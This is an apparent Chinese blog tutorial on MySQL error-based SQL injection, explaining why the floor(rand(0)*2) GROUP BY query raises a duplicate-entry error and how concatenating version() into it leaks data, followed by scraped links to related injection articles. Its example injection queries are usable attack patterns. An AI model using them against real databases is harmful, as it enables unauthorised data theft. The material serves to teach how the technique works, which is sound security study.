SQL注射取数据的方式有多种:

  1. 利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者能够构造闭合的查询。
  2. Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。当然,HTTP服务器对URL的长度有一定限制,因此每次可返回的数据量不可过多。
  3. 基于错误消息取数据,前提是页面能够响应详细的错误描述。它的一个优点是,我们可能不必太费力去猜测和闭合SQL(可以构造子查询,让MySQL在子查询中报错)。
  4. 盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’

如下图

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’

通过报错,即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的。

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x                   |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
|  1.3087464173405863 |
| 0.03823849376126984 |
|  0.2649532782518801 |
|   1.210050971442881 |
|  1.2553950839260548 |
|  0.6468225667689206 |
|  1.4679276435337287 |
|  1.3991705788291717 |
|  0.5920700250119623 |
+---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

 
1
2
3
4
5
6
+---+
| x |
+---+
| 0 |
| 1 |
+---+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

 
1
2
3
4
5
6
+----------+---+
| count(*) | x |
+----------+---+
|       39 | 0 |
+----------+---+
1 row in set (0.00 sec)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

 
1
2
3
4
5
6
7
8
+----------+---+
| count(*) | x |
+----------+---+
|       18 | 0 |
+----------+---+
|       11 | 1 |
+----------+---+
2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。

参考链接: SQL Injection attack – What does this do?

经典的MySQL Duplicate entry报错注入的更多相关文章

  1. mysql的floor()报错注入方法详细分析

    刚开始学习sql注入,遇见了 select count(*) from table group by floor(rand(0)*2); 这么条语句.在此做个总结. (更好的阅读体验可访问 这里 ) ...

  2. MySQL三种报错注入方式下的insert,update,delete命令注入示例

    select 查询数据(大部分) 在网站应用中进行数据显示查询操作 insert 插入数据 在网站应用中进行用户注册添加等操作 delete 删除数据 后台管理里面删除文章删除用户等操作 update ...

  3. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  4. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  5. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  6. mysql报错注入手工方法

    以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩 ...

  7. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  8. MySQL报错注入总结

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法. 报错注入: ...

  9. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

随机推荐

  1. Python中的时间模块和日期模块

    Python 日期和时间 Python 程序能用很多方式处理日期和时间,转换日期格式是一个常见的功能. Python 提供了一个 time 和 calendar 模块可以用于格式化日期和时间. 时间间 ...

  2. LOJ 2541 「PKUWC2018」猎人杀——思路+概率+容斥+分治

    题目:https://loj.ac/problem/2541 看了题解才会……有三点很巧妙. 1.分母如果变动,就很不好.所以考虑把操作改成 “已经选过的人仍然按 \( w_i \) 的概率被选,但是 ...

  3. anti-nim 游戏

    游戏描述: 桌上有n堆石子,游戏双方轮流取石子,每次只能从一堆中取出任意数目的石子,不能不取,取走最后一个石子者失败. 结论: 先手必胜,当且仅当: ①.所有堆的石子数都为1,且游戏的SG值为0. ② ...

  4. Xcode 10如何打包ipa包?

    参考: https://www.jianshu.com/p/0421b3fd2470 前置条件 首先导入证书和配置文件 具体操作步骤: product>>Archive 如图所示,选择Di ...

  5. 记C函数指针的“小坑”

    今天遇到一个C函数指针的小坑,索性记下来. 我在a.c 文件里面,引用b.c 文件的函数声明作为指针引用 比如在a.c生命一个函数指针 typedef void (*free)(void *val) ...

  6. GHCi Prelude学习

    参考:http://www.cse.unsw.edu.au/~en1000/haskell/inbuilt.html http://www.cse.unsw.edu.au/~en1000/haskel ...

  7. USACO 6.3 章节 你对搜索和剪枝一无所知QAQ

    emmm........很久很久以前 把6.2过了 所以emmmmmm 直接跳过 ,从6.1到6.3吧 Fence Rails 题目大意 N<=50个数A1,A2... 1023个数,每个数数值 ...

  8. Goals ? Ideals ?

    Why is it important to set goals ? Because goal can help you do , be , and experience anything you w ...

  9. python杂货

    三.字典的基本操作 1.如何访问字典中的值? adict[key] 形式返回键key对应的值value,如果key不在字典中会引发一个KeyError. adict.get(key, default ...

  10. css3中的scroll-behavior属性

    scroll-behavior属性 当用户手动导航或者 CSSOM scrolling API 触发滚动操作时,CSS 属性 scroll-behavior 为一个滚动框指定滚动行为,当用户通过鼠标滑 ...